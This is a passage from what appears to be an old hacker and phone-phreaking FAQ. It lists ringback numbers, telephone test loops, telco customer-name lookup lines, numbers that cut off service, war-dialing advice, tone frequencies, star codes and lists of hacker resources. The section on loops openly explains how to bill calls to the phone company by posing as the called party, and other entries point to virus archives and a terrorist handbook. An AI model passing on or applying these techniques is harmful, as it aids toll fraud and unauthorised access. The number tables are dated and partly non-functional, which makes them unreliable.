613  320-2232         Ottawa, Ontario
705  320-4567         North Bay/Saulte Ste. Marie, Ontario

Australia:
[phone]      Victoria 03 area
[phone]            All major capital cities

United Kingdom:
175


12. What is a ringback number?

A ringback number is a number that you call that will immediately
ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone.  You may then
hang up.  You will be called back seconds later.


13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you
are calling.  A '?' means that the number varies from switch to switch
in the area, or changes from time to time.  Try all possible
combinations.

If the ringback for your NPA is not listed, try common ones such as
954, 957 and 958.  Also, try using the numbers listed for other NPA's
served by your telephone company.

201  55?-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ
202  958-xxxx         District of Columbia
203  991-xxxx         CT (All)
213  1-95x-xxxx       Los Angeles, CA
219  571-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
219  777-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
301  579-xxxx         Hagerstown/Rockville, MD
301  958-xxxx         Hagerstown/Rockville, MD
303  99X-xxxx         Grand Junction, CO
305  999-xxxx         Ft. Lauderdale/Key West/Miami, FL
312  511-xxxx         Chicago, IL
312  511-xxx-xxxx     Chicago, IL
312  57?-xxxx         Chicago, IL
315  98x-xxxx         Syracuse/Utica, NY
317  777-xxxx         Indianapolis/Kokomo, IN
317  yyy-xxxx         Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319  79x-xxxx         Davenport/Dubuque, Iowa
401  98?-xxxx         RI (All)
404  450-xxxx         Atlanta, GA
407  988-xxxx         Orlando/West Palm Beach, FL
412  985-xxxx         Pittsburgh, PA
414  977-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
414  978-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  350-xxxx         San Francisco, CA
417  551-xxxx         Joplin/Springfield, MO
501  721-xxx-xxxx     AR (All)
502  988              Frankfort/Louisville/Paducah/Shelbyville, KY
504  99x-xxxx         Baton Rouge/New Orleans, LA
504  9988776655       Baton Rouge/New Orleans, LA
505  59?-xxxx         New Mexico (All)
512  95X-xxxx         Austin, TX
513  99?-xxxx         Cincinnati/Dayton, OH
516  660-xxx-xxxx     Hempstead/Long Island, NY
601  777-xxxx         MS (All)
609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ
612  511              Minneapolis/St.Paul, MN
612  999-xxx-xxxx     Minneapolis/St.Paul, MN
615  930-xxxx         Chatanooga/Knoxville/Nashville, TN
616  946-xxxx         Battle Creek/Grand Rapids/Kalamazoo, MI
619  331-xxxx         San Diego, CA
619  332-xxxx         San Diego, CA
703  958-xxxx         Alexandria/Arlington/Roanoke, VA
714  330?             Anaheim, CA (GTE)
714  33?-xxxx         Anaheim, CA (PacBell)
716  981-xxxx         Rochester, NY (Rochester Tel)
719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
801  938-xxxx         Utah (All)
801  939-xxxx         Utah (All)
804  260              Charlottesville/Newport News/Norfolk/Richmond, VA
805  114              Bakersfield/Santa Barbara, CA
805  980-xxxx         Bakersfield/Santa Barbara, CA
810  951-xxx-xxxx     Pontiac/Southfield/Troy, MI
813  711              Ft. Meyers/St. Petersburg/Tampa, FL
817  971              Ft. Worth/Waco, TX  (Press 2#)
906  951-xxx-xxxx     Marquette/Sault Ste. Marie, MI
908  55?-xxxx         New Brunswick, NJ
908  953              New Brunswick, NJ
914  660-xxxx         Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:
416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario
514  320-xxx-xxxx     Montreal, Quebec
613  999-xxx-xxxx     Ottawa, Ontario
705  999-xxx-xxxx     North Bay/Saulte Ste. Marie, Ontario

Australia: +61 199
Brazil: 199
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175


14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
                   by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999.  They are used by the phone company for testing.  What
good do loops do us?  Well, they are cool in a few ways.  Here is a
simple use of loops.  Each loop has two ends, a 'high' end, and a
'low' end.  One end gives a (usually) constant, loud tone when it is
called. The other end is silent.  Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop.  Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you.  Here's
what you can use working loops for:  billing phone calls!  First, call
the end that gives the loud tone.  Then if the operator or someone
calls the other end, the tone will go quiet.  Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever.  The operator thinks that she just called you, and
that's it!  Now the phone bill will go to the loop, and your local
RBOC will get the bill!  Use this technique in moderation, or the loop
may go down.  Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.


15. What is a loop in my area?

Many of these loops are no longer functional.  If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA    High      Low
---  --------  --------
201  228-9929  228-9930
201  238-9929  238-9930
201  251-9929  251-9930
201  254-9929  254-9930
201  272-9929  272-9930
201  330-9929  330-9930
201  333-9929  333-9930
201  339-9929  339-9930
201  347-9929  347-9930
201  376-9929  376-9930
201  398-9929  398-9930
201  467-9929  467-9930
201  528-9929  528-9930
201  531-9929  531-9930
201  558-9929  558-9930
201  559-9929  559-9930
201  560-9929  560-9930
201  592-9929  592-9930
201  625-9929  625-9930
201  631-9929  631-9930
201  637-9929  637-9930
201  655-9929  655-9930
201  666-9929  666-9930
201  690-9929  690-9930
201  761-9929  761-9930
201  762-9929  762-9929
201  762-9929  762-9930
201  763-9929  763-9930
201  764-9929  764-9930
201  767-9929  767-9930
201  768-9929  768-9930
201  773-9929  773-9930
201  879-9929  879-9930
201  938-9929  938-9930
201  946-9929  946-9930
201  992-9929  992-9930
201  993-9929  993-9930
201  994-9929  994-9930
206  827-0018  827-0019
206  988-0020  988-0022
208  862-9996  862-9997
209  732-0044  732-0045
212  220-9977  220-9979
212  283-9977  283-9979
212  283-9977  283-9997
212  352-9900  352-9906
212  365-9977  365-9979
212  529-9900  529-9906
212  562-9977  562-9979
212  986-9977  986-9979
213  360-1118  360-1119
213  365-1118  365-1119
213  455-0002  455-XXXX
213  455-0002  455-xxxx
213  546-0002  546-XXXX
213  546-0002  546-xxxx
213  549-1118  549-1119
214  291-4759  291-4757
214  299-4759  299-4757
305  778-9952  778-9951
305  964-9951  964-9952
307  468-9999  468-9998
308  357-0004  357-0005
312  222-9973  222-9974
312  234-9973  234-9974
313  224-9996  224-9997
313  225-9996  225-9997
313  234-9996  234-9997
313  237-9996  237-9997
313  256-9996  256-9997
313  272-9996  272-9997
313  273-9996  273-9997
313  277-9996  277-9997
313  281-9996  281-9997
313  292-9996  292-9997
313  299-9996  299-9997
313  321-9996  321-9997
313  326-9996  326-9997
313  356-9996  356-9997
313  362-9996  362-9997
313  369-9996  369-9997
313  388-9996  388-9997
313  397-9996  397-9997
313  399-9996  399-9997
313  445-9996  445-9997
313  465-9996  465-9997
313  471-9996  471-9997
313  474-9996  474-9997
313  477-9996  477-9997
313  478-9996  478-9997
313  483-9996  483-9997
313  497-9996  497-9997
313  526-9996  526-9997
313  552-9996  552-9997
313  556-9996  556-9997
313  561-9996  561-9997
313  569-9996  569-9996
313  575-9996  575-9997
313  577-9996  577-9997
313  585-9996  585-9997
313  591-9996  591-9997
313  621-9996  621-9997
313  626-9996  626-9997
313  644-9996  644-9997
313  646-9996  646-9997
313  647-9996  647-9997
313  649-9996  649-9997
313  663-9996  663-9997
313  665-9996  665-9997
313  683-9996  683-9997
313  721-9996  721-9997
313  722-9996  722-9997
313  728-9996  728-9997
313  731-9996  731-9997
313  751-9996  751-9997
313  776-9996  776-9997
313  781-9996  781-9997
313  787-9996  787-9997
313  822-9996  822-9997
313  833-9996  833-9997
313  851-9996  851-9997
313  871-9996  871-9997
313  875-9996  875-9997
313  886-9996  886-9997
313  888-9996  888-9997
313  898-9996  898-9997
313  934-9996  934-9997
313  942-9996  942-9997
313  963-9996  963-9997
313  977-9996  977-9997
315  673-9995  673-9996
315  695-9995  695-9996
402  422-0001  422-0002
402  422-0003  422-0004
402  422-0005  422-0006
402  422-0007  422-0008
402  572-0003  572-0004
402  779-0004  779-0007
406  225-9902  225-9903
517  422-9996  422-9997
517  423-9996  423-9997
517  455-9996  455-9997
517  563-9996  563-9997
517  663-9996  663-9997
517  851-9996  851-9997
609  921-9929  921-9930
609  994-9929  994-9930
616  997-9996  997-9997
713  224-1499  759-1799
713  324-1499  324-1799
713  342-1499  342-1799
713  351-1499  351-1799
713  354-1499  354-1799
713  356-1499  356-1799
713  442-1499  442-1799
713  447-1499  447-1799
713  455-1499  455-1799
713  458-1499  458-1799
713  462-1499  462-1799
713  466-1499  466-1799
713  468-1499  468-1799
713  469-1499  469-1799
713  471-1499  471-1799
713  481-1499  481-1799
713  482-1499  482-1799
713  484-1499  484-1799
713  487-1499  487-1799
713  489-1499  489-1799
713  492-1499  492-1799
713  493-1499  493-1799
713  524-1499  524-1799
713  526-1499  526-1799
713  555-1499  555-1799
713  661-1499  661-1799
713  664-1499  664-1799
713  665-1499  665-1799
713  666-1499  666-1799
713  667-1499  667-1799
713  682-1499  976-1799
713  771-1499  771-1799
713  780-1499  780-1799
713  781-1499  997-1799
713  960-1499  960-1799
713  977-1499  977-1799
713  988-1499  988-1799
805  528-0044  528-0045
805  544-0044  544-0045
805  773-0044  773-0045
808  235-9907  235-9908
808  239-9907  239-9908
808  245-9907  245-9908
808  247-9907  247-9908
808  261-9907  261-9908
808  322-9907  322-9908
808  328-9907  328-9908
808  329-9907  329-9908
808  332-9907  332-9908
808  335-9907  335-9908
808  572-9907  572-9908
808  623-9907  623-9908
808  624-9907  624-9908
808  668-9907  668-9908
808  742-9907  742-9908
808  879-9907  879-9908
808  882-9907  882-9908
808  885-9907  885-9908
808  959-9907  959-9908
808  961-9907  961-9908
813  385-9971
908  776-9930  776-9930


16. What is a CNA number?

CNA stands for Customer Name and Address.  The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number.  If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find it's phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies.  Two such companies are:

Unidirectory    [phone]
Telename        [phone]

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public.  The number is 796-9600.  The cost is
$.35/call and can look up two numbers per call.

An interesting number is The House of Windsor Collection at
[phone].  If you dial it and press 1 to request a catalog, it
will ask for your telephone number.  If will then tell you the street
name of any telephone number you enter.


17. What is the telephone company CNA number for my area?

203  203-771-8080     CT (All)
516  516-321-5700     Hempstead/Long Island, NY
614  614-464-0123     Columbus/Steubenville, OH
813  813-270-8711     Ft. Meyers/St. Petersburg/Tampa, FL
513  513-397-9110     Cincinnati/Dayton, OH


18. What are some numbers that always ring busy?

216  xxx-9887              Akron/Canton/Cleveland/Lorain/Youngstown, OH
316  952-7265              Dodge City/Wichita, KS
501  377-99xx              AR (All)
719  472-3773              Colorado Springs/Leadville/Pueblo, CO
719  577-6100 to 577-6200  Colorado Springs/Leadville/Pueblo, CO
818  885-0699              Pasadena, CA
906  632-9999              Marquette/Sault Ste. Marie, MI
906  635-9999              Marquette/Sault Ste. Marie, MI
914  576-9903              Peekskill/Poughkeepsie/White Plains/Yonkers, NY


19. What are some numbers that temporarily disconnect phone service?

314  511        Columbia/Jefferson City/St.Louis, MO (1 minute)
404  420        Atlanta, GA                          (5 minutes)
405  953        Enid/Oklahoma City, OK               (1 minute)
407  511        Orlando/West Palm Beach, FL          (1 minute)
512  200        Austin/Corpus Christi, TX            (1 minute)
516  480        Hempstead/Long Island, NY            (1 minute)
603  980        NH (All)
512  200        Austin/Corpus Christi, TX            (1 minute)
919  211 or 511 Durham, NC                           (10 min - 1 hour)


20. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer.  Currently, the best war dialer available
to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.

A war dialer will dial a range of numbers and log what it finds at
each number.  You can then only dial up the numbers that the war
dialer marked as carriers or tones.


21. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal.  It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once.  It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer.  Some central offices have been
known to react strangely when people start scanning.  Sometimes you're
unable to get a dialtone for hours after you start scanning.  But
there is no uniform policy.  The best thing to do is to first find out
if you've got some crazy law saying you can't do it.  If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO.  It is now illegal to place a call
in Colorado Springs without the intent to communicate.


22. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
[phone]

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
[phone]


23. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency.  These are the tones you
get when you press a key on your telephone touchpad.  The tone of the
button is the sum of the column and row tones.  The ABCD keys do not
exist on standard telephones.

     1209 1336 1477 1633

     697   1    2    3    A

     770   4    5    6    B

     852   7    8    9    C

     941   *    0    #    D


24. What are the frequencies of the telephone tones?

Type                Hz          On      Off
---------------------------------------------------------------------
Dial Tone         350 & 400     ---     ---
Busy Signal       480 & 620     0.5     0.5
Toll Congestion   480 & 620     0.2     0.3
Ringback (Normal) 440 & 480     2.0     4.0
Ringback (PBX)    440 & 480     1.5     4.5
Reorder (Local)   480 & 620     3.0     2.0
Invalid Number    200 & 400
Hang Up Warning 1400 & 2060     0.1     0.1
Hang Up         2450 & 2600     ---     ---


25. What are all of the * codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service                     Tone    Pulse/rotary   Notes
--------------------------------------------------------------------------
Assistance/Police           *12         n/a        [1]
Cancel forwarding           *30         n/a        [C1]
Automatic Forwarding        *31         n/a        [C1]
Notify                      *32         n/a        [C1] [2]
Intercom Ring 1 (..)        *51         1151       [3]
Intercom Ring 2 (.._)       *52         1152       [3]
Intercom Ring 3 (._.)       *53         1153       [3]
Extension Hold              *54         1154       [3]
Customer Originated Trace   *57         1157
Selective Call Rejection    *60         1160       (or Call Screen)
Selective Distinct Alert    *61         1161
Selective Call Acceptance   *62         1162
Selective Call Forwarding   *63         1163
ICLID Activation            *65         1165
Call Return (outgoing)      *66         1166
Number Display Blocking     *67         1167       [4]
Computer Access Restriction *68         1168
Call Return (incoming)      *69         1169
Call Waiting disable        *70         1170       [4]
No Answer Call Transfer     *71         1171
Usage Sensitive 3 way call  *71         1171
Call Forwarding: start      *72 or 72#  1172
Call Forwarding: cancel     *73 or 73#  1173
Speed Calling (8 numbers)   *74 or 74#  1174
Speed Calling (30 numbers)  *75 or 75#  1175
Anonymous Call Rejection    *77         1177       [5] [M: *58]
Call Screen Disable         *80         1160       (or Call Screen) [M: *50]
Selective Distinct Disable  *81         1161       [M: *51]
Select. Acceptance Disable  *82         1162
Select. Forwarding Disable  *83         1163       [M: *53]
ICLID Disable               *85         1165
Call Return (cancel out)    *86         1186       [6] [M: *56]
Anon. Call Reject (cancel)  *87         1187       [5] [M: *68]
Call Return (cancel in)     *89         1189       [6] [M: *59]

Notes:

[C1]     - Means code used for Cellular One service
[1]      - for cellular in Pittsburgh, PA A/C 412 in some areas
[2]      - indicates that you are not local and maybe how to reach you
[3]      - found in Pac Bell territory; Intercom ring causes a distinctive
           ring to be generated on the current line; Hold keeps a call
           connected until another extension is picked up
[4]      - applied once before each call
[5]      - A.C.R. blocks calls from those who blocked Caller ID
           (used in C&P territory, for instance)
[6]      - cancels further return attempts
[M: *xx] - alternate code used for MLVP (multi-line variety package)
           by Bellcore. It goes by different names in different RBOCs.
           In Bellsouth it is called Prestige. It is an arrangement of
           ESSEX like features for single or small multiple line groups.

           The reason for different codes for some features in MLVP is that
           call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x


26. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.
The new 900mhz cordless phones are not covered.

Channel    Handset Transmit    Base Transmit
-------    ----------------    -------------
   1          49.670mhz          46.610mhz
   2          49.845             46.630
   3          49.860             46.670
   4          49.770             46.710
   5          49.875             46.730
   6          49.830             46.770
   7          49.890             46.830
   8          49.930             46.870
   9          49.990             46.930
  10          49.970             46.970




Section C: Resources
~~~~~~~~~~~~~~~~~~~~

01. What are some ftp sites of interest to hackers?

alex.sp.cs.cmu.edu      /links/security                 (Misc)
aql.gatech.edu                                          (40Hex)
athena-dist.mit.edu     /pub/ATHENA                     (Athena Project)
bellcore.com                                            (Bellcore)
camelot.usc.edu         /pub/cellular/DDIinfodemo       (Cellular)
cert.org                                                (CERT)
coast.cs.purdue.edu     /pub                            (Security)
coast.cs.purdue.edu     /pub                            (Coast)
cs.columbia.edu         /archives/mirror2/world-info/obi/Phracks
crimelab.com                                            (Crimelab)
dartmouth.edu           /pub/security                   (Security)
fc.net                  /pub/defcon                     (DefCon)
freeside.com                                            (Phrack)
lod.amaranth.com                                        (Legion of Doom)
ftp.apple.com           /pub/stud_reps/phrack           (Zines)
ftp.3com.com            /Orange-Book                    (Orange Book)
ftp.3com.com            /mirrors/zip                    (ZipCrypt)
ftp.IEunet.ie           /pub/security                   (Security)
ftp.armory.com          /pub/user/kmartind              (H/P)
ftp.cert.org            /pub                            (CERT)
ftp.cic.net             /pub/e-serials/alphabetic/p/phrack (Zines)
ftp.clark.net           /pub/jcase                      (H/P)
ftp.commerce.net        /pubs/standards/drafts/shttp.txt(Secure HyperText)
ftp.cs.uwm.edu          /pub/comp-privacy               (Comp. Privacy Digest)
ftp.csl.sri.com         /pub/nides                      (SRI)
ftp.csua.berkeley.edu   /pub/cypherpunks                (Crypto)
ftp.eff.org             /pub/cud                        (EFF)
ftp.elelab.nsc.co.jp    /pub/security                   (Security)
ftp.etext.org                                           (Etext)
ftp.fc.net
ftp.fh-berlin.de                                        (Wordlists)
ftp.greatcircle.com     /pub/firewalls                  (Firewalls)
ftp.halcyon.com         /pub/cud                        (Zines)
ftp.inoc.dl.nec.com     /pub/security                   (Security)
ftp.mcs.com             /mcsnet.users/crisadm/stuff/research/samples (Virii)
ftp.near.net            /security/archives/phrack       (Zines)
ftp.netcom.com          /pub/br/bradleym                (Virii)
ftp.netcom.com          /pub/va/vandal                  (DnA)
ftp.netcom.com          /pub/vo/vortex                  (Phiber-Scream)
ftp.netcom.com          /pub/zz/zzyzx                   (H/P)
ftp.ocs.mq.edu.au       /PC/Crypt                       (Crypto)
ftp.paranoia.com        /pub/toneloc/tl110.zip          (ToneLoc)
ftp.primus.com          /pub/armchair                   (Phoney)
ftp.primus.com          /pub/security                   (Security)
ftp.rahul.net           /pub/lps                        (Home of the FAQ)
ftp.std.com             /archives/alt.locksmithing      (Locksmithing)
ftp.std.com             /obi/Mischief/                  (MIT Guide to Lock...)
ftp.std.com             /obi/Phracks                    (Zines)
ftp.sunet.se            /pub/network/monitoring         (Ethernet sniffers)
ftp.sura.net            /pub/security                   (SURAnet)
ftp.tis.com             /pub                            (TIS)
ftp.uu.net              /doc/literary/obi/Phracks       (Zines)
ftp.warwick.ac.uk       /pub/cud                        (Zines)
ftp.win.tue.nl          /pub/security                   (Security)
ftp.winternet.com       /users/craigb                   (H/P)
ftp.wustl.edu           /doc/EFF                        (EFF)
furmint.nectar.cs.cmu.edu /security                     (Crypto)
garbo.uwasa.fi          /pc/crypt                       (Crypto)
irbis.llnl.gov          /pub                            (CIAC)
lcs.mit.edu             /telecom-archives               (Telecom archives)
mary.iia.org            /pub/users/patriot              (Misc)
net.tamu.edu            /pub/security/TAMU              (Security)
net23.com               /pub                            (Max Headroom)
nic.ddn.mil             /scc                            (DDN Security)
nic.funet.fi            /pub/doc/cud                    (Zines)
paradox1.denver.colorado.edu  /anonymous/text-files/pyrotechnics (Pyro)
pyrite.rutgers.edu      /pub/security                   (Security)
relay.cs.toronto.edu    /doc/telecom-archives           (Telecom)
rena.dit.co.jp          /pub/security                   (Security)
research.att.com        /dist/internet_security         (AT&T)
ripem.msu.edu           /pub/crypt                      (Ripem)
rs1.rrz.uni-koeln.de                                    (Wordlists)
rtfm.mit.edu                                            (Etext)
rtfm.mit.edu            /pub/usenet-by-group            (Usenet FAQ's)
sable.ox.ac.uk                                          (Wordlists)
scss3.cl.msu.edu        /pub/crypt                      (Crypto)
sekurity.com                                            (TNO)
spy.org                                                 (CSC)
suburbia.apana.org.au   /pub/unix/security              (Security)
theta.iis.u-tokyo.ac.jp /pub1/security                  (Security)
titania.mathematik.uni-ulm.de /pub/security             (Security)
uceng.uc.edu            /pub/kerberos.documentation     (Kerberos)
wimsey.bc.ca            /pub/crypto                     (Crypto)


02. What are some newsgroups of interest to hackers?

alt.2600                Do it 'til it hertz
alt.2600.hope.tech      Technology concerns for Hackers on Planet Earth 1994
alt.cellular
alt.cyberpunk           High-tech low-life.
alt.cyberspace          Cyberspace and how it should work.
alt.dcom.telecom        Discussion of telecommunications technology
alt.engr.explosives     [no description available]
alt.hackers             Descriptions of projects currently under development
alt.locksmithing        You locked your keys in *where*?
alt.hackers.malicious   The really bad guys - don't take candy from them
alt.privacy.anon-server Technical & policy matters of anonymous contact servers
alt.radio.pirate        Hide the gear, here comes the magic station-wagons.
alt.radio.scanner       Discussion of scanning radio receivers.
alt.security            Security issues on computer systems
alt.security.index      Pointers to good stuff in misc.security (Moderated)
alt.security.keydist    Exchange of keys for public key encryption systems
alt.security.pgp        The Pretty Good Privacy package
alt.security.ripem      A secure email system illegal to export from the US
comp.dcom.cellular      [no description available]
comp.dcom.telecom       Telecommunications digest (Moderated)
comp.dcom.telecom.tech  [no description available]
comp.org.cpsr.announce  Computer Professionals for Social Responsibility
comp.org.cpsr.talk      Issues of computing and social responsibility
comp.org.eff.news       News from the Electronic Frontiers Foundation
comp.org.eff.talk       Discussion of EFF goals, strategies, etc.
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip   TCP and IP network protocols
comp.risks              Risks to the public from computers & users
comp.security.announce  Announcements from the CERT about security
comp.security.misc      Security issues of computers and networks
comp.security.unix      Discussion of Unix security
comp.virus              Computer viruses & security (Moderated)
de.org.ccc              Mitteilungen des CCC e.V.
misc.security           Security in general, not just computers (Moderated)
rec.pyrotechnics        Fireworks, rocketry, safety, & other topics
rec.radio.scanner       [no description available]
rec.video.cable-tv      Technical and regulatory issues of cable television.
sci.crypt               Different methods of data en/decryption


03. What are some telnet sites of interest to hackers?

ntiabbs.ntia.doc.gov            (NTIA)
telnet lust.isca.uiowa 2600     (underground bbs)


04. What are some gopher sites of interest to hackers?

ba.com                  (Bell Atlantic)
csrc.ncsl.nist.gov      (NIST Security Gopher)
gopher.acm.org          (SIGSAC (Security, Audit & Control))
gopher.cpsr.org         (Computer Professionals for Social Responsibility)
gopher.cs.uwm.edu
gopher.eff.org          (Electonic Frontier Foundation)
gopher.wired.com        (Wired Magazine)
gw.PacBell.com          (Pacific Bell)
iitf.doc.gov            (NITA -- IITF)
oss.net                 (Open Source Solutions)
spy.org                 (Computer Systems Consulting)
wiretap.spies.com       (Wiretap)


05. What are some World wide Web (WWW) sites of interest to hackers?

http://aset.rsoc.rockwell.com                   (NASA/MOD AIS Security)
http://aset.rsoc.rockwell.com/exhibit.html(Technology for Information Security)
http://ausg.dartmouth.edu/security.html         (Security)
http://crimelab.com/bugtraq/bugtraq.html        (Bugtraq)
http://cs.purdue.edu/coast/coast.html           (Coast)
http://csrc.ncsl.nist.gov                       (NIST)
http://dans.dorm.umd.edu/~deker
http://dfw.net/~aleph1
http://draco.centerline.com:8080/~franl/crypto.html (Crypto)
http://everest.cs.ucdavis.edu/Security.html     (Security)
http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides)
http://ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html  (CSSCR)
http://first.org                                (FIRST)
http://ftp.tamu.edu/~abr8030/security.html      (Security)
http://hightop.nrl.navy.mil/potpourri.html      (Security)
http://hightop.nrl.navy.mil/rainbow.html        (Rainbow Books)
http://info.bellcore.com/BETSI/betsi.html       (Betsi)
http://infosec.nosc.mil/infosec.html            (SPAWAR INFOSEC)
http://l0pht.com                                (The l0pht)
http://mls.saic.com                             (SAIC MLS)
http://naic.nasa.gov/fbi/FBI_homepage.html      (FBI Homepage)
http://nasirc.hq.nasa.gov                       (NASA ASIRC)
http://ophie.hughes.american.edu/~ophie
http://tansu.com.au/Info/security.html          (Computer and Network Security)
http://the-tech.mit.edu                         (LaMacchia case info)
http://wintermute.itd.nrl.navy.mil/5544.html    (Network Security)
http://www.aads.net                             (Ameritech)
http://www.achilles.net/~pluvius
http://www.alw.nih.gov/WWW/security.html        (Unix Security)
http://www.artcom.de/CCC                        (CCC Homepage)
http://www.ba.com                               (Bell Atlantic)
http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
http://www.bell.com                             (MFJ Task Force)
http://www.bellcore.com/SECURITY/security.html  (Bellcore Security Products)
http://www.brad.ac.uk/~nasmith/index.html
http://www.bst.bls.com                          (BellSouth)
http://www.c3.lanl.gov/~mcn                     (Lanl)
http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
http://www.cpsr.org/home                        (CPSR)
http://www.cs.umd.edu/~lgas
http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security)
http://www.csd.harris.com/secure_info.html      (Harris)
http://www.csl.sri.com                          (SRI Computer Science Lab)
http://www.cygnus.com/data/cns.html             (Cygnus Network Security)
http://www.datafellows.fi                       (Data Fellows)
http://www.delmarva.com/raptor/raptor.html      (Raptor Eagle Network Isolator)
http://www.demon.co.uk/kbridge                  (KarlBridge)
http://www.digicash.com/ecash/ecash-home.html   (Digital Cash)
http://www.digital.com/info/key-secure-index.html(Digital Secure Systems)
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq)
http://www.eecs.nwu.edu/~jmyers/ids/index.html  (Intrusion Detection Systems)
http://www.engin.umich.edu/~jgotts/boxes.html   (Box info)
http://www.engin.umich.edu/~jgotts/hack-faq.html(This document)
http://www.engin.umich.edu/~jgotts/underground.html
http://www.ensta.fr/internet/unix/sys_admin     (System administration)
http://www.fc.net/defcon                        (DefCon)
http://www.greatcircle.com                      (Great Circle Associates)
http://www.hpcc.gov/blue94/section.4.6.html     (NSA)
http://www.ic.gov                               (The CIA)
http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
http://www.lysator.liu.se:7500/terror/thb_title.html (The Terrorists Handbook)
http://www.lysator.liu.se:7500/mit-guide/mit-guide.html (MIT Lockpicking Guide)
http://www.net23.com                            (Max Headroom)
http://www.nist.gov                             (NIST)
http://www.pacbell.com                          (Pacific Bell)
http://www.paranoia.com/mthreat                 (ToneLoc)
http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
http://www.phantom.com/~king                    (Taran King)
http://www.quadralay.com/www/Crypt/Crypt.html   (Quadralay Cryptography Archive)
http://www.research.att.com                     (AT&T)
http://www.rsa.com                              (RSA Data Security)
http://www.satelnet.org/~ccappuc
http://www.service.com/cm/uswest/usw1.html      (USWest)
http://www.shore.net/~oz/welcome.html           (Hack TV)
http://www.spy.org                              (Computer Systems Consulting)
http://www.sri.com                              (SRI)
http://www.tansu.com.au/Info/security.html      (Security Reference Index)
http://www.tis.com                              (Trusted Information Systems)
http://www.tri.sbc.com                          (Southwestern Bell)
http://www.uci.agh.edu.pl/pub/security          (Security)
http://www.umcc.umich.edu/~doug/virus-faq.html  (Virus)
http://www.wam.umd.edu/~ankh/Public/devil_does_unix
http://www.wiltel.com                           (Wiltel)
http://www.wired.com                            (Wired Magazine)


06. What are some IRC channels of interest to hackers?

#2600
#cellular
#hack
#phreak
#linux
#root
#unix
#warez


07. What are some BBS's of interest to hackers?

Hacker's Haven          [phone]
Corrupt Sekurity        [phone]
Independent Nation      [phone]
underworld_1994.com     [phone]
Digital Fallout         [phone]
Alliance Communications [phone]
Apocalypse 2000         [phone]
K0dE Ab0dE              [phone]
fARM R0Ad 666           [phone]


08. What books are available on this subject?


General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

    This is an excellent book.  It gives a broad overview of
    computer security without sacrificing detail.  A must read for
    the beginning security expert.

Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1


Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
